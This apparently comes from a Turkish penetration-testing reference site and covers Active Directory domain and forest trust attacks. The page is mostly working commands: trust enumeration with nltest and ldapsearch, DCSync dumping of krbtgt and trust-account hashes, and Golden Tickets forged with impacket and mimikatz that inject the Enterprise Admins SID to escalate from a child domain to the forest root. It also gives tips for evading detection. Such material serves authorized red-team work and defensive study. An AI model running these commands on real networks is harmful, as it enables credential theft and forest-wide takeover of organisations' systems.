Skip to content

Domain & Forest Trust Saldırıları

ATT&CK T1482 difficulty: zor

Trust ilişkileri, bir domain’deki kimliklerin başka bir domain/forest’taki kaynaklara erişmesini sağlar. Bir domain’i ele geçiren saldırgan, güven yönüne ve türüne göre komşu domain’lere sıçrayabilir. Intra-forest (child → parent) yükseltme klasik ve güvenilirdir; inter-forest ise SID filtering ve trust yönüne bağlıdır.

Trusts · nltest

embedded tool
Generated command
nltest /domain_trusts /all_trusts /server:domain.local
Terminal window
Get-DomainTrust
Terminal window
Get-DomainTrustMapping
Terminal window
Get-ForestDomain | % { Get-DomainTrust -Domain $_.Name }
Terminal window
Get-ADTrust -Filter *
Terminal window
nltest /domain_trusts /all_trusts
Terminal window
nltest /server:dc01 /domain_trusts
Terminal window
nxc ldap 10.10.10.5 -u user -p 'Pass123' --find-delegation # dolaylı ipucu
Terminal window
ldapsearch -x -H ldap://10.10.10.5 -D 'user@domain.local' -w 'Pass123' \
-b 'CN=System,DC=domain,DC=local' '(objectClass=trustedDomain)' \
trustPartner trustDirection trustType trustAttributes
Yön (trustDirection):
1 inbound — karşı taraf bize güvenir (bizim kullanıcılar oraya gider)
2 outbound — biz karşıya güveniriz
3 bidirectional
Tür (trustType): Windows / MIT / DCE
trustAttributes: WITHIN_FOREST, FOREST_TRANSITIVE, FILTER_SIDS (SID filtering),
CROSS_ORGANIZATION, TREAT_AS_EXTERNAL …

BloodHound: TrustedBy / foreign group membership kenarları; Users with Foreign Domain Group Membership, forest haritası.

Intra-forest yükseltme (child → parent)

Section titled “Intra-forest yükseltme (child → parent)”

Forest içinde child domain ele geçirmek, pratikte forest köküne giden yoldur: SID filtering varsayılan olarak uygulanmaz; sidHistory ile Enterprise Admins (SID -519) enjekte edilebilir.

  1. Child domain’i ele geçir — child’ta DCSync ile krbtgt + domain SID al:

    Terminal window
    impacket-secretsdump -just-dc-user krbtgt child.corp.local/admin:'Pass'@10.10.10.5
    Terminal window
    impacket-lookupsid child.corp.local/admin:'Pass'@10.10.10.5 | head
  2. SID History ile Golden Ticket — parent forest’ın Enterprise Admins SID’ini extra SIDs olarak ekle ( -519 ):

    Terminal window
    impacket-ticketer -nthash <child_krbtgt_NT> \
    -domain-sid S-1-5-21-CHILD-CHILD-CHILD \
    -domain child.corp.local \
    -extra-sid S-1-5-21-ROOT-ROOT-ROOT-519 \
    Administrator
    Terminal window
    export KRB5CCNAME=Administrator.ccache
    mimikatz # kerberos::golden /user:Administrator /domain:child.corp.local \
    /sid:S-1-5-21-CHILD-CHILD-CHILD /krbtgt:<hash> \
    /sids:S-1-5-21-ROOT-ROOT-ROOT-519 /ptt
  3. Parent kaynaklarına eriş — Enterprise Admin yetkisiyle kök DC’ye DCSync / PtT:

    Terminal window
    impacket-secretsdump -k -no-pass corp.local/Administrator@dc-root.corp.local

Trust hesabının (DOMAIN$ benzeri trustedDomain) hash’i veya AES anahtarı DCSync / NTDS ile alınabilir. Bu anahtarla inter-realm TGT forge edilir.

Terminal window
impacket-secretsdump -just-dc domain.local/admin:'Pass'@DC | grep -i 'TRUST\|krbtgt'
mimikatz # kerberos::golden /user:Administrator /domain:current.local \
/sid:S-1-5-21-CURRENT /rc4:<trust_NT_hash> \
/service:krbtgt /target:trusted.local /ptt
Terminal window
impacket-ticketer -nthash <trust_key> -domain-sid S-1-5-21-... \
-domain current.local -spn krbtgt/trusted.local Administrator

Ardından trusted domain’de TGS iste (getST / normal Kerberos) — erişim, karşı tarafın ne kadar güvendiğine ve SID filtering’e bağlıdır.

SenaryoSID History abuseNot
Intra-forest parent-childGenelde çalışırEn güvenilir yükseltme
External trustFILTER_SIDS sık açık-519 vb. filtrelenir
Forest trustQuarantine / filteringForeign SID’ler kısıtlı
Selective authenticationEk erişim kontrolüKaynak ACL şart

Inter-forest’ta pratik yollar çoğu zaman:

  • Trusted domain’de zaten geçerli bir hesabın foreign group üyeliği (BloodHound foreign membership).
  • Paylaşılan servis hesapları / aynı parola (password reuse across forest).
  • Trust yönü outbound ise kendi kullanıcılarınla karşı kaynaklara erişim denemeleri (enum shares, MSSQL).

Extra SID / PAC manipülasyonu (Diamond benzeri bağlam)

Section titled “Extra SID / PAC manipülasyonu (Diamond benzeri bağlam)”

Modern tespit Golden Ticket’ı PAC anomalisinden yakalayabilir. Trust senaryosunda da mümkün olduğunca:

  • Gerçek krbtgt AES256 kullan ( -aesKey ).
  • Kullanıcı adını mevcut bir hesapla hizala.
  • Child compromise sonrası meşru TGT alıp yükseltme (Sapphire/Diamond yaklaşımları) — ayrıntı Golden Ticket ve Persistence .
  • Child→parent Golden + -519 anında forest-wide etki; angajman kuralına uy (stop condition).
  • Trust key dump’ı tam DCSync kadar gürültülü olabilir — sadece trust hesabını -just-dc-user ile çek.
  • Inter-forest denemelerinde başarısız logon’lar karşı SOC’ta görünür; önce filtering / yön doğrula.
  • Trust yönünü ters okumak (inbound/outbound karışıklığı).
  • Parent SID’i yanlış hesaplamak — lookupsid / BloodHound’dan doğrula.
  • External trust’ta SID history ile EA bekleyip filtering’e takılmak.
  • Kerberos’ta hedef FQDN ve iki domain’in DNS/resolv.conf ihtiyacı.
  • nltest çıktısındaki isimlerle ticketer -domain / -target uyuşmazlığı.
  • Golden Ticket
  • DCSync
  • BloodHound foreign membership sorguları